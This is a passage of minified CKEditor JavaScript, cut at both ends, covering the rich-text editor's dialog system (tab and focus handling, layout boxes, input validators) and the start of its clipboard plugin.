null},0),F=null)}var r=CKEDITOR.tools.cssLength,S='<div class="cke_reset_all {editorId} {editorDialogClass} {hidpi}" dir="{langDir}" lang="{langCode}" role="dialog" aria-labelledby="cke_dialog_title_{id}"><table class="cke_dialog '+CKEDITOR.env.cssClass+' cke_{langDir}" style="position:absolute" role="presentation"><tr><td role="presentation"><div class="cke_dialog_body" role="presentation"><div id="cke_dialog_title_{id}" class="cke_dialog_title" role="presentation"></div><a id="cke_dialog_close_button_{id}" class="cke_dialog_close_button" href="javascript:void(0)" title="{closeTitle}" role="button"><span class="cke_label">X</span></a><div id="cke_dialog_tabs_{id}" class="cke_dialog_tabs" role="tablist"></div><table class="cke_dialog_contents" role="presentation"><tr><td id="cke_dialog_contents_{id}" class="cke_dialog_contents_body" role="presentation"></td></tr><tr><td id="cke_dialog_footer_{id}" class="cke_dialog_footer" role="presentation"></td></tr></table></div></td></tr></table></div>';
CKEDITOR.dialog=function(a,b){function c(){var a=l._.focusList;a.sort(function(a,b){return a.tabIndex!=b.tabIndex?b.tabIndex-a.tabIndex:a.focusIndex-b.focusIndex});for(var b=a.length,c=0;c<b;c++)a[c].focusIndex=c}function e(a){var b=l._.focusList,a=a||0;if(!(1>b.length)){var c=l._.currentFocusIndex;try{b[c].getInputElement().$.blur()}catch(f){}for(var d=c=(c+a+b.length)%b.length;a&&!b[d].isFocusable()&&!(d=(d+a+b.length)%b.length,d==c););b[d].focus();"text"==b[d].type&&b[d].select()}}function d(b){if(l==
CKEDITOR.dialog._.currentTop){var c=b.data.getKeystroke(),d="rtl"==a.lang.dir;o=j=0;if(9==c||c==CKEDITOR.SHIFT+9)c=c==CKEDITOR.SHIFT+9,l._.tabBarMode?(c=c?t.call(l):u.call(l),l.selectPage(c),l._.tabs[c][0].focus()):e(c?-1:1),o=1;else if(c==CKEDITOR.ALT+121&&!l._.tabBarMode&&1<l.getPageCount())l._.tabBarMode=!0,l._.tabs[l._.currentTabId][0].focus(),o=1;else if((37==c||39==c)&&l._.tabBarMode)c=c==(d?39:37)?t.call(l):u.call(l),l.selectPage(c),l._.tabs[c][0].focus(),o=1;else if((13==c||32==c)&&l._.tabBarMode)this.selectPage(this._.currentTabId),
this._.tabBarMode=!1,this._.currentFocusIndex=-1,e(1),o=1;else if(13==c){c=b.data.getTarget();if(!c.is("a","button","select","textarea")&&(!c.is("input")||"button"!=c.$.type))(c=this.getButton("ok"))&&CKEDITOR.tools.setTimeout(c.click,0,c),o=1;j=1}else if(27==c)(c=this.getButton("cancel"))?CKEDITOR.tools.setTimeout(c.click,0,c):!1!==this.fire("cancel",{hide:!0}).hide&&this.hide(),j=1;else return;g(b)}}function g(a){o?a.data.preventDefault(1):j&&a.data.stopPropagation()}var f=CKEDITOR.dialog._.dialogDefinitions[b],
h=CKEDITOR.tools.clone(W),m=a.config.dialog_buttonsOrder||"OS",k=a.lang.dir,i={},o,j;("OS"==m&&CKEDITOR.env.mac||"rtl"==m&&"ltr"==k||"ltr"==m&&"rtl"==k)&&h.buttons.reverse();f=CKEDITOR.tools.extend(f(a),h);f=CKEDITOR.tools.clone(f);f=new L(this,f);h=R(a);this._={editor:a,element:h.element,name:b,contentSize:{width:0,height:0},size:{width:0,height:0},contents:{},buttons:{},accessKeyMap:{},tabs:{},tabIdList:[],currentTabId:null,currentTabIndex:null,pageCount:0,lastTab:null,tabBarMode:!1,focusList:[],
currentFocusIndex:0,hasFocus:!1};this.parts=h.parts;CKEDITOR.tools.setTimeout(function(){a.fire("ariaWidget",this.parts.contents)},0,this);h={position:CKEDITOR.env.ie6Compat?"absolute":"fixed",top:0,visibility:"hidden"};h["rtl"==k?"right":"left"]=0;this.parts.dialog.setStyles(h);CKEDITOR.event.call(this);this.definition=f=CKEDITOR.fire("dialogDefinition",{name:b,definition:f},a).definition;if(!("removeDialogTabs"in a._)&&a.config.removeDialogTabs){h=a.config.removeDialogTabs.split(";");for(k=0;k<
h.length;k++)if(m=h[k].split(":"),2==m.length){var n=m[0];i[n]||(i[n]=[]);i[n].push(m[1])}a._.removeDialogTabs=i}if(a._.removeDialogTabs&&(i=a._.removeDialogTabs[b]))for(k=0;k<i.length;k++)f.removeContents(i[k]);if(f.onLoad)this.on("load",f.onLoad);if(f.onShow)this.on("show",f.onShow);if(f.onHide)this.on("hide",f.onHide);if(f.onOk)this.on("ok",function(b){a.fire("saveSnapshot");setTimeout(function(){a.fire("saveSnapshot")},0);!1===f.onOk.call(this,b)&&(b.data.hide=!1)});if(f.onCancel)this.on("cancel",
function(a){!1===f.onCancel.call(this,a)&&(a.data.hide=!1)});var l=this,p=function(a){var b=l._.contents,c=!1,d;for(d in b)for(var f in b[d])if(c=a.call(this,b[d][f]))return};this.on("ok",function(a){p(function(b){if(b.validate){var c=b.validate(this),d="string"==typeof c||!1===c;d&&(a.data.hide=!1,a.stop());P.call(b,!d,"string"==typeof c?c:void 0);return d}})},this,null,0);this.on("cancel",function(b){p(function(c){if(c.isChanged())return!a.config.dialog_noConfirmCancel&&!confirm(a.lang.common.confirmCancel)&&
(b.data.hide=!1),!0})},this,null,0);this.parts.close.on("click",function(a){!1!==this.fire("cancel",{hide:!0}).hide&&this.hide();a.data.preventDefault()},this);this.changeFocus=e;var v=this._.element;a.focusManager.add(v,1);this.on("show",function(){v.on("keydown",d,this);if(CKEDITOR.env.gecko)v.on("keypress",g,this)});this.on("hide",function(){v.removeListener("keydown",d);CKEDITOR.env.gecko&&v.removeListener("keypress",g);p(function(a){Q.apply(a)})});this.on("iframeAdded",function(a){(new CKEDITOR.dom.document(a.data.iframe.$.contentWindow.document)).on("keydown",
d,this,null,0)});this.on("show",function(){c();if(a.config.dialog_startupFocusTab&&1<l._.pageCount)l._.tabBarMode=!0,l._.tabs[l._.currentTabId][0].focus();else if(!this._.hasFocus)if(this._.currentFocusIndex=-1,f.onFocus){var b=f.onFocus.call(this);b&&b.focus()}else e(1)},this,null,4294967295);if(CKEDITOR.env.ie6Compat)this.on("load",function(){var a=this.getElement(),b=a.getFirst();b.remove();b.appendTo(a)},this);U(this);V(this);(new CKEDITOR.dom.text(f.title,CKEDITOR.document)).appendTo(this.parts.title);
for(k=0;k<f.contents.length;k++)(i=f.contents[k])&&this.addPage(i);this.parts.tabs.on("click",function(a){var b=a.data.getTarget();b.hasClass("cke_dialog_tab")&&(b=b.$.id,this.selectPage(b.substring(4,b.lastIndexOf("_"))),this._.tabBarMode&&(this._.tabBarMode=!1,this._.currentFocusIndex=-1,e(1)),a.data.preventDefault())},this);k=[];i=CKEDITOR.dialog._.uiElementBuilders.hbox.build(this,{type:"hbox",className:"cke_dialog_footer_buttons",widths:[],children:f.buttons},k).getChild();this.parts.footer.setHtml(k.join(""));
for(k=0;k<i.length;k++)this._.buttons[i[k].id]=i[k]};CKEDITOR.dialog.prototype={destroy:function(){this.hide();this._.element.remove()},resize:function(){return function(a,b){if(!this._.contentSize||!(this._.contentSize.width==a&&this._.contentSize.height==b))CKEDITOR.dialog.fire("resize",{dialog:this,width:a,height:b},this._.editor),this.fire("resize",{width:a,height:b},this._.editor),this.parts.contents.setStyles({width:a+"px",height:b+"px"}),"rtl"==this._.editor.lang.dir&&this._.position&&(this._.position.x=
CKEDITOR.document.getWindow().getViewPaneSize().width-this._.contentSize.width-parseInt(this._.element.getFirst().getStyle("right"),10)),this._.contentSize={width:a,height:b}}}(),getSize:function(){var a=this._.element.getFirst();return{width:a.$.offsetWidth||0,height:a.$.offsetHeight||0}},move:function(a,b,c){var e=this._.element.getFirst(),d="rtl"==this._.editor.lang.dir,g="fixed"==e.getComputedStyle("position");CKEDITOR.env.ie&&e.setStyle("zoom","100%");if(!g||!this._.position||!(this._.position.x==
a&&this._.position.y==b))this._.position={x:a,y:b},g||(g=CKEDITOR.document.getWindow().getScrollPosition(),a+=g.x,b+=g.y),d&&(g=this.getSize(),a=CKEDITOR.document.getWindow().getViewPaneSize().width-g.width-a),b={top:(0<b?b:0)+"px"},b[d?"right":"left"]=(0<a?a:0)+"px",e.setStyles(b),c&&(this._.moved=1)},getPosition:function(){return CKEDITOR.tools.extend({},this._.position)},show:function(){var a=this._.element,b=this.definition;!a.getParent()||!a.getParent().equals(CKEDITOR.document.getBody())?a.appendTo(CKEDITOR.document.getBody()):
a.setStyle("display","block");this.resize(this._.contentSize&&this._.contentSize.width||b.width||b.minWidth,this._.contentSize&&this._.contentSize.height||b.height||b.minHeight);this.reset();this.selectPage(this.definition.contents[0].id);null===CKEDITOR.dialog._.currentZIndex&&(CKEDITOR.dialog._.currentZIndex=this._.editor.config.baseFloatZIndex);this._.element.getFirst().setStyle("z-index",CKEDITOR.dialog._.currentZIndex+=10);null===CKEDITOR.dialog._.currentTop?(CKEDITOR.dialog._.currentTop=this,
this._.parentDialog=null,J(this._.editor)):(this._.parentDialog=CKEDITOR.dialog._.currentTop,this._.parentDialog.getElement().getFirst().$.style.zIndex-=Math.floor(this._.editor.config.baseFloatZIndex/2),CKEDITOR.dialog._.currentTop=this);a.on("keydown",M);a.on("keyup",N);this._.hasFocus=!1;for(var c in b.contents)if(b.contents[c]){var a=b.contents[c],e=this._.tabs[a.id],d=a.requiredContent,g=0;if(e){for(var f in this._.contents[a.id]){var h=this._.contents[a.id][f];"hbox"==h.type||("vbox"==h.type||
!h.getInputElement())||(h.requiredContent&&!this._.editor.activeFilter.check(h.requiredContent)?h.disable():(h.enable(),g++))}!g||d&&!this._.editor.activeFilter.check(d)?e[0].addClass("cke_dialog_tab_disabled"):e[0].removeClass("cke_dialog_tab_disabled")}}CKEDITOR.tools.setTimeout(function(){this.layout();T(this);this.parts.dialog.setStyle("visibility","");this.fireOnce("load",{});CKEDITOR.ui.fire("ready",this);this.fire("show",{});this._.editor.fire("dialogShow",this);this._.parentDialog||this._.editor.focusManager.lock();
this.foreach(function(a){a.setInitValue&&a.setInitValue()})},100,this)},layout:function(){var a=this.parts.dialog,b=this.getSize(),c=CKEDITOR.document.getWindow().getViewPaneSize(),e=(c.width-b.width)/2,d=(c.height-b.height)/2;CKEDITOR.env.ie6Compat||(b.height+(0<d?d:0)>c.height||b.width+(0<e?e:0)>c.width?a.setStyle("position","absolute"):a.setStyle("position","fixed"));this.move(this._.moved?this._.position.x:e,this._.moved?this._.position.y:d)},foreach:function(a){for(var b in this._.contents)for(var c in this._.contents[b])a.call(this,
this._.contents[b][c]);return this},reset:function(){var a=function(a){a.reset&&a.reset(1)};return function(){this.foreach(a);return this}}(),setupContent:function(){var a=arguments;this.foreach(function(b){b.setup&&b.setup.apply(b,a)})},commitContent:function(){var a=arguments;this.foreach(function(b){CKEDITOR.env.ie&&this._.currentFocusIndex==b.focusIndex&&b.getInputElement().$.blur();b.commit&&b.commit.apply(b,a)})},hide:function(){if(this.parts.dialog.isVisible()){this.fire("hide",{});this._.editor.fire("dialogHide",
this);this.selectPage(this._.tabIdList[0]);var a=this._.element;a.setStyle("display","none");this.parts.dialog.setStyle("visibility","hidden");for(X(this);CKEDITOR.dialog._.currentTop!=this;)CKEDITOR.dialog._.currentTop.hide();if(this._.parentDialog){var b=this._.parentDialog.getElement().getFirst();b.setStyle("z-index",parseInt(b.$.style.zIndex,10)+Math.floor(this._.editor.config.baseFloatZIndex/2))}else K(this._.editor);if(CKEDITOR.dialog._.currentTop=this._.parentDialog)CKEDITOR.dialog._.currentZIndex-=
10;else{CKEDITOR.dialog._.currentZIndex=null;a.removeListener("keydown",M);a.removeListener("keyup",N);var c=this._.editor;c.focus();setTimeout(function(){c.focusManager.unlock();CKEDITOR.env.iOS&&c.window.focus()},0)}delete this._.parentDialog;this.foreach(function(a){a.resetInitValue&&a.resetInitValue()})}},addPage:function(a){if(!a.requiredContent||this._.editor.filter.check(a.requiredContent)){for(var b=[],c=a.label?' title="'+CKEDITOR.tools.htmlEncode(a.label)+'"':"",e=CKEDITOR.dialog._.uiElementBuilders.vbox.build(this,
{type:"vbox",className:"cke_dialog_page_contents",children:a.elements,expand:!!a.expand,padding:a.padding,style:a.style||"width: 100%;"},b),d=this._.contents[a.id]={},g=e.getChild(),f=0;e=g.shift();)!e.notAllowed&&("hbox"!=e.type&&"vbox"!=e.type)&&f++,d[e.id]=e,"function"==typeof e.getChild&&g.push.apply(g,e.getChild());f||(a.hidden=!0);b=CKEDITOR.dom.element.createFromHtml(b.join(""));b.setAttribute("role","tabpanel");e=CKEDITOR.env;d="cke_"+a.id+"_"+CKEDITOR.tools.getNextNumber();c=CKEDITOR.dom.element.createFromHtml(['<a class="cke_dialog_tab"',
0<this._.pageCount?" cke_last":"cke_first",c,a.hidden?' style="display:none"':"",' id="',d,'"',e.gecko&&!e.hc?"":' href="javascript:void(0)"',' tabIndex="-1" hidefocus="true" role="tab">',a.label,"</a>"].join(""));b.setAttribute("aria-labelledby",d);this._.tabs[a.id]=[c,b];this._.tabIdList.push(a.id);!a.hidden&&this._.pageCount++;this._.lastTab=c;this.updateStyle();b.setAttribute("name",a.id);b.appendTo(this.parts.contents);c.unselectable();this.parts.tabs.append(c);a.accessKey&&(O(this,this,"CTRL+"+
a.accessKey,Y,Z),this._.accessKeyMap["CTRL+"+a.accessKey]=a.id)}},selectPage:function(a){if(this._.currentTabId!=a&&!this._.tabs[a][0].hasClass("cke_dialog_tab_disabled")&&!1!==this.fire("selectPage",{page:a,currentPage:this._.currentTabId})){for(var b in this._.tabs){var c=this._.tabs[b][0],e=this._.tabs[b][1];b!=a&&(c.removeClass("cke_dialog_tab_selected"),e.hide());e.setAttribute("aria-hidden",b!=a)}var d=this._.tabs[a];d[0].addClass("cke_dialog_tab_selected");CKEDITOR.env.ie6Compat||CKEDITOR.env.ie7Compat?
(G(d[1]),d[1].show(),setTimeout(function(){G(d[1],1)},0)):d[1].show();this._.currentTabId=a;this._.currentTabIndex=CKEDITOR.tools.indexOf(this._.tabIdList,a)}},updateStyle:function(){this.parts.dialog[(1===this._.pageCount?"add":"remove")+"Class"]("cke_single_page")},hidePage:function(a){var b=this._.tabs[a]&&this._.tabs[a][0];b&&(1!=this._.pageCount&&b.isVisible())&&(a==this._.currentTabId&&this.selectPage(t.call(this)),b.hide(),this._.pageCount--,this.updateStyle())},showPage:function(a){if(a=this._.tabs[a]&&
this._.tabs[a][0])a.show(),this._.pageCount++,this.updateStyle()},getElement:function(){return this._.element},getName:function(){return this._.name},getContentElement:function(a,b){var c=this._.contents[a];return c&&c[b]},getValueOf:function(a,b){return this.getContentElement(a,b).getValue()},setValueOf:function(a,b,c){return this.getContentElement(a,b).setValue(c)},getButton:function(a){return this._.buttons[a]},click:function(a){return this._.buttons[a].click()},disableButton:function(a){return this._.buttons[a].disable()},
enableButton:function(a){return this._.buttons[a].enable()},getPageCount:function(){return this._.pageCount},getParentEditor:function(){return this._.editor},getSelectedElement:function(){return this.getParentEditor().getSelection().getSelectedElement()},addFocusable:function(a,b){if("undefined"==typeof b)b=this._.focusList.length,this._.focusList.push(new H(this,a,b));else{this._.focusList.splice(b,0,new H(this,a,b));for(var c=b+1;c<this._.focusList.length;c++)this._.focusList[c].focusIndex++}}};
CKEDITOR.tools.extend(CKEDITOR.dialog,{add:function(a,b){if(!this._.dialogDefinitions[a]||"function"==typeof b)this._.dialogDefinitions[a]=b},exists:function(a){return!!this._.dialogDefinitions[a]},getCurrent:function(){return CKEDITOR.dialog._.currentTop},isTabEnabled:function(a,b,c){a=a.config.removeDialogTabs;return!(a&&a.match(RegExp("(?:^|;)"+b+":"+c+"(?:$|;)","i")))},okButton:function(){var a=function(a,c){c=c||{};return CKEDITOR.tools.extend({id:"ok",type:"button",label:a.lang.common.ok,"class":"cke_dialog_ui_button_ok",
onClick:function(a){a=a.data.dialog;!1!==a.fire("ok",{hide:!0}).hide&&a.hide()}},c,!0)};a.type="button";a.override=function(b){return CKEDITOR.tools.extend(function(c){return a(c,b)},{type:"button"},!0)};return a}(),cancelButton:function(){var a=function(a,c){c=c||{};return CKEDITOR.tools.extend({id:"cancel",type:"button",label:a.lang.common.cancel,"class":"cke_dialog_ui_button_cancel",onClick:function(a){a=a.data.dialog;!1!==a.fire("cancel",{hide:!0}).hide&&a.hide()}},c,!0)};a.type="button";a.override=
function(b){return CKEDITOR.tools.extend(function(c){return a(c,b)},{type:"button"},!0)};return a}(),addUIElement:function(a,b){this._.uiElementBuilders[a]=b}});CKEDITOR.dialog._={uiElementBuilders:{},dialogDefinitions:{},currentTop:null,currentZIndex:null};CKEDITOR.event.implementOn(CKEDITOR.dialog);CKEDITOR.event.implementOn(CKEDITOR.dialog.prototype);var W={resizable:CKEDITOR.DIALOG_RESIZE_BOTH,minWidth:600,minHeight:400,buttons:[CKEDITOR.dialog.okButton,CKEDITOR.dialog.cancelButton]},z=function(a,
b,c){for(var e=0,d;d=a[e];e++)if(d.id==b||c&&d[c]&&(d=z(d[c],b,c)))return d;return null},A=function(a,b,c,e,d){if(c){for(var g=0,f;f=a[g];g++){if(f.id==c)return a.splice(g,0,b),b;if(e&&f[e]&&(f=A(f[e],b,c,e,!0)))return f}if(d)return null}a.push(b);return b},B=function(a,b,c){for(var e=0,d;d=a[e];e++){if(d.id==b)return a.splice(e,1);if(c&&d[c]&&(d=B(d[c],b,c)))return d}return null},L=function(a,b){this.dialog=a;for(var c=b.contents,e=0,d;d=c[e];e++)c[e]=d&&new I(a,d);CKEDITOR.tools.extend(this,b)};
L.prototype={getContents:function(a){return z(this.contents,a)},getButton:function(a){return z(this.buttons,a)},addContents:function(a,b){return A(this.contents,a,b)},addButton:function(a,b){return A(this.buttons,a,b)},removeContents:function(a){B(this.contents,a)},removeButton:function(a){B(this.buttons,a)}};I.prototype={get:function(a){return z(this.elements,a,"children")},add:function(a,b){return A(this.elements,a,b,"children")},remove:function(a){B(this.elements,a,"children")}};var F,w={},q,s=
{},M=function(a){var b=a.data.$.ctrlKey||a.data.$.metaKey,c=a.data.$.altKey,e=a.data.$.shiftKey,d=String.fromCharCode(a.data.$.keyCode);if((b=s[(b?"CTRL+":"")+(c?"ALT+":"")+(e?"SHIFT+":"")+d])&&b.length)b=b[b.length-1],b.keydown&&b.keydown.call(b.uiElement,b.dialog,b.key),a.data.preventDefault()},N=function(a){var b=a.data.$.ctrlKey||a.data.$.metaKey,c=a.data.$.altKey,e=a.data.$.shiftKey,d=String.fromCharCode(a.data.$.keyCode);if((b=s[(b?"CTRL+":"")+(c?"ALT+":"")+(e?"SHIFT+":"")+d])&&b.length)b=b[b.length-
1],b.keyup&&(b.keyup.call(b.uiElement,b.dialog,b.key),a.data.preventDefault())},O=function(a,b,c,e,d){(s[c]||(s[c]=[])).push({uiElement:a,dialog:b,key:c,keyup:d||a.accessKeyUp,keydown:e||a.accessKeyDown})},X=function(a){for(var b in s){for(var c=s[b],e=c.length-1;0<=e;e--)(c[e].dialog==a||c[e].uiElement==a)&&c.splice(e,1);0===c.length&&delete s[b]}},Z=function(a,b){a._.accessKeyMap[b]&&a.selectPage(a._.accessKeyMap[b])},Y=function(){};(function(){CKEDITOR.ui.dialog={uiElement:function(a,b,c,e,d,g,
f){if(!(4>arguments.length)){var h=(e.call?e(b):e)||"div",m=["<",h," "],k=(d&&d.call?d(b):d)||{},i=(g&&g.call?g(b):g)||{},o=(f&&f.call?f.call(this,a,b):f)||"",j=this.domId=i.id||CKEDITOR.tools.getNextId()+"_uiElement";b.requiredContent&&!a.getParentEditor().filter.check(b.requiredContent)&&(k.display="none",this.notAllowed=!0);i.id=j;var n={};b.type&&(n["cke_dialog_ui_"+b.type]=1);b.className&&(n[b.className]=1);b.disabled&&(n.cke_disabled=1);for(var l=i["class"]&&i["class"].split?i["class"].split(" "):
[],j=0;j<l.length;j++)l[j]&&(n[l[j]]=1);l=[];for(j in n)l.push(j);i["class"]=l.join(" ");b.title&&(i.title=b.title);n=(b.style||"").split(";");b.align&&(l=b.align,k["margin-left"]="left"==l?0:"auto",k["margin-right"]="right"==l?0:"auto");for(j in k)n.push(j+":"+k[j]);b.hidden&&n.push("display:none");for(j=n.length-1;0<=j;j--)""===n[j]&&n.splice(j,1);0<n.length&&(i.style=(i.style?i.style+"; ":"")+n.join("; "));for(j in i)m.push(j+'="'+CKEDITOR.tools.htmlEncode(i[j])+'" ');m.push(">",o,"</",h,">");
c.push(m.join(""));(this._||(this._={})).dialog=a;"boolean"==typeof b.isChanged&&(this.isChanged=function(){return b.isChanged});"function"==typeof b.isChanged&&(this.isChanged=b.isChanged);"function"==typeof b.setValue&&(this.setValue=CKEDITOR.tools.override(this.setValue,function(a){return function(c){a.call(this,b.setValue.call(this,c))}}));"function"==typeof b.getValue&&(this.getValue=CKEDITOR.tools.override(this.getValue,function(a){return function(){return b.getValue.call(this,a.call(this))}}));
CKEDITOR.event.implementOn(this);this.registerEvents(b);this.accessKeyUp&&(this.accessKeyDown&&b.accessKey)&&O(this,a,"CTRL+"+b.accessKey);var p=this;a.on("load",function(){var b=p.getInputElement();if(b){var c=p.type in{checkbox:1,ratio:1}&&CKEDITOR.env.ie&&CKEDITOR.env.version<8?"cke_dialog_ui_focused":"";b.on("focus",function(){a._.tabBarMode=false;a._.hasFocus=true;p.fire("focus");c&&this.addClass(c)});b.on("blur",function(){p.fire("blur");c&&this.removeClass(c)})}});CKEDITOR.tools.extend(this,
b);this.keyboardFocusable&&(this.tabIndex=b.tabIndex||0,this.focusIndex=a._.focusList.push(this)-1,this.on("focus",function(){a._.currentFocusIndex=p.focusIndex}))}},hbox:function(a,b,c,e,d){if(!(4>arguments.length)){this._||(this._={});var g=this._.children=b,f=d&&d.widths||null,h=d&&d.height||null,m,k={role:"presentation"};d&&d.align&&(k.align=d.align);CKEDITOR.ui.dialog.uiElement.call(this,a,d||{type:"hbox"},e,"table",{},k,function(){var a=['<tbody><tr class="cke_dialog_ui_hbox">'];for(m=0;m<c.length;m++){var b=
"cke_dialog_ui_hbox_child",e=[];0===m&&(b="cke_dialog_ui_hbox_first");m==c.length-1&&(b="cke_dialog_ui_hbox_last");a.push('<td class="',b,'" role="presentation" ');f?f[m]&&e.push("width:"+r(f[m])):e.push("width:"+Math.floor(100/c.length)+"%");h&&e.push("height:"+r(h));d&&void 0!==d.padding&&e.push("padding:"+r(d.padding));CKEDITOR.env.ie&&(CKEDITOR.env.quirks&&g[m].align)&&e.push("text-align:"+g[m].align);0<e.length&&a.push('style="'+e.join("; ")+'" ');a.push(">",c[m],"</td>")}a.push("</tr></tbody>");
return a.join("")})}},vbox:function(a,b,c,e,d){if(!(3>arguments.length)){this._||(this._={});var g=this._.children=b,f=d&&d.width||null,h=d&&d.heights||null;CKEDITOR.ui.dialog.uiElement.call(this,a,d||{type:"vbox"},e,"div",null,{role:"presentation"},function(){var b=['<table role="presentation" cellspacing="0" border="0" '];b.push('style="');d&&d.expand&&b.push("height:100%;");b.push("width:"+r(f||"100%"),";");CKEDITOR.env.webkit&&b.push("float:none;");b.push('"');b.push('align="',CKEDITOR.tools.htmlEncode(d&&
d.align||("ltr"==a.getParentEditor().lang.dir?"left":"right")),'" ');b.push("><tbody>");for(var e=0;e<c.length;e++){var i=[];b.push('<tr><td role="presentation" ');f&&i.push("width:"+r(f||"100%"));h?i.push("height:"+r(h[e])):d&&d.expand&&i.push("height:"+Math.floor(100/c.length)+"%");d&&void 0!==d.padding&&i.push("padding:"+r(d.padding));CKEDITOR.env.ie&&(CKEDITOR.env.quirks&&g[e].align)&&i.push("text-align:"+g[e].align);0<i.length&&b.push('style="',i.join("; "),'" ');b.push(' class="cke_dialog_ui_vbox_child">',
c[e],"</td></tr>")}b.push("</tbody></table>");return b.join("")})}}}})();CKEDITOR.ui.dialog.uiElement.prototype={getElement:function(){return CKEDITOR.document.getById(this.domId)},getInputElement:function(){return this.getElement()},getDialog:function(){return this._.dialog},setValue:function(a,b){this.getInputElement().setValue(a);!b&&this.fire("change",{value:a});return this},getValue:function(){return this.getInputElement().getValue()},isChanged:function(){return!1},selectParentTab:function(){for(var a=
this.getInputElement();(a=a.getParent())&&-1==a.$.className.search("cke_dialog_page_contents"););if(!a)return this;a=a.getAttribute("name");this._.dialog._.currentTabId!=a&&this._.dialog.selectPage(a);return this},focus:function(){this.selectParentTab().getInputElement().focus();return this},registerEvents:function(a){var b=/^on([A-Z]\w+)/,c,e=function(a,b,c,d){b.on("load",function(){a.getInputElement().on(c,d,a)})},d;for(d in a)if(c=d.match(b))this.eventProcessors[d]?this.eventProcessors[d].call(this,
this._.dialog,a[d]):e(this,this._.dialog,c[1].toLowerCase(),a[d]);return this},eventProcessors:{onLoad:function(a,b){a.on("load",b,this)},onShow:function(a,b){a.on("show",b,this)},onHide:function(a,b){a.on("hide",b,this)}},accessKeyDown:function(){this.focus()},accessKeyUp:function(){},disable:function(){var a=this.getElement();this.getInputElement().setAttribute("disabled","true");a.addClass("cke_disabled")},enable:function(){var a=this.getElement();this.getInputElement().removeAttribute("disabled");
a.removeClass("cke_disabled")},isEnabled:function(){return!this.getElement().hasClass("cke_disabled")},isVisible:function(){return this.getInputElement().isVisible()},isFocusable:function(){return!this.isEnabled()||!this.isVisible()?!1:!0}};CKEDITOR.ui.dialog.hbox.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{getChild:function(a){if(1>arguments.length)return this._.children.concat();a.splice||(a=[a]);return 2>a.length?this._.children[a[0]]:this._.children[a[0]]&&this._.children[a[0]].getChild?
this._.children[a[0]].getChild(a.slice(1,a.length)):null}},!0);CKEDITOR.ui.dialog.vbox.prototype=new CKEDITOR.ui.dialog.hbox;(function(){var a={build:function(a,c,e){for(var d=c.children,g,f=[],h=[],m=0;m<d.length&&(g=d[m]);m++){var k=[];f.push(k);h.push(CKEDITOR.dialog._.uiElementBuilders[g.type].build(a,g,k))}return new CKEDITOR.ui.dialog[c.type](a,h,f,e,c)}};CKEDITOR.dialog.addUIElement("hbox",a);CKEDITOR.dialog.addUIElement("vbox",a)})();CKEDITOR.dialogCommand=function(a,b){this.dialogName=a;
CKEDITOR.tools.extend(this,b,!0)};CKEDITOR.dialogCommand.prototype={exec:function(a){a.openDialog(this.dialogName)},canUndo:!1,editorFocus:1};(function(){var a=/^([a]|[^a])+$/,b=/^\d*$/,c=/^\d*(?:\.\d+)?$/,e=/^(((\d*(\.\d+))|(\d*))(px|\%)?)?$/,d=/^(((\d*(\.\d+))|(\d*))(px|em|ex|in|cm|mm|pt|pc|\%)?)?$/i,g=/^(\s*[\w-]+\s*:\s*[^:;]+(?:;|$))*$/;CKEDITOR.VALIDATE_OR=1;CKEDITOR.VALIDATE_AND=2;CKEDITOR.dialog.validate={functions:function(){var a=arguments;return function(){var b=this&&this.getValue?this.getValue():
a[0],c,d=CKEDITOR.VALIDATE_AND,e=[],g;for(g=0;g<a.length;g++)if("function"==typeof a[g])e.push(a[g]);else break;g<a.length&&"string"==typeof a[g]&&(c=a[g],g++);g<a.length&&"number"==typeof a[g]&&(d=a[g]);var j=d==CKEDITOR.VALIDATE_AND?!0:!1;for(g=0;g<e.length;g++)j=d==CKEDITOR.VALIDATE_AND?j&&e[g](b):j||e[g](b);return!j?c:!0}},regex:function(a,b){return function(c){c=this&&this.getValue?this.getValue():c;return!a.test(c)?b:!0}},notEmpty:function(b){return this.regex(a,b)},integer:function(a){return this.regex(b,
a)},number:function(a){return this.regex(c,a)},cssLength:function(a){return this.functions(function(a){return d.test(CKEDITOR.tools.trim(a))},a)},htmlLength:function(a){return this.functions(function(a){return e.test(CKEDITOR.tools.trim(a))},a)},inlineStyle:function(a){return this.functions(function(a){return g.test(CKEDITOR.tools.trim(a))},a)},equals:function(a,b){return this.functions(function(b){return b==a},b)},notEqual:function(a,b){return this.functions(function(b){return b!=a},b)}};CKEDITOR.on("instanceDestroyed",
function(a){if(CKEDITOR.tools.isEmpty(CKEDITOR.instances)){for(var b;b=CKEDITOR.dialog._.currentTop;)b.hide();for(var c in w)w[c].remove();w={}}var a=a.editor._.storedDialogs,d;for(d in a)a[d].destroy()})})();CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{openDialog:function(a,b){var c=null,e=CKEDITOR.dialog._.dialogDefinitions[a];null===CKEDITOR.dialog._.currentTop&&J(this);if("function"==typeof e)c=this._.storedDialogs||(this._.storedDialogs={}),c=c[a]||(c[a]=new CKEDITOR.dialog(this,a)),b&&b.call(c,
c),c.show();else{if("failed"==e)throw K(this),Error('[CKEDITOR.dialog.openDialog] Dialog "'+a+'" failed when loading definition.');"string"==typeof e&&CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(e),function(){"function"!=typeof CKEDITOR.dialog._.dialogDefinitions[a]&&(CKEDITOR.dialog._.dialogDefinitions[a]="failed");this.openDialog(a,b)},this,0,1)}CKEDITOR.skin.loadPart("dialog");return c}})})();
CKEDITOR.plugins.add("dialog",{requires:"dialogui",init:function(t){t.on("doubleclick",function(u){u.data.dialog&&t.openDialog(u.data.dialog)},null,null,999)}});(function(){function v(b){function a(){var e=b.editable();e.on(p,function(b){(!CKEDITOR.env.ie||!n)&&u(b)});CKEDITOR.env.ie&&e.on("paste",function(e){q||(g(),e.data.preventDefault(),u(e),h("paste")||b.openDialog("paste"))});CKEDITOR.env.ie&&(e.on("contextmenu",i,null,null,0),e.on("beforepaste",function(b){b.data&&(!b.data.$.ctrlKey&&!b.data.$.shiftKey)&&i()},null,null,0));e.on("beforecut",function(){!n&&j(b)});var a;e.attachListener(CKEDITOR.env.ie?e:b.document.getDocumentElement(),"mouseup",function(){a=
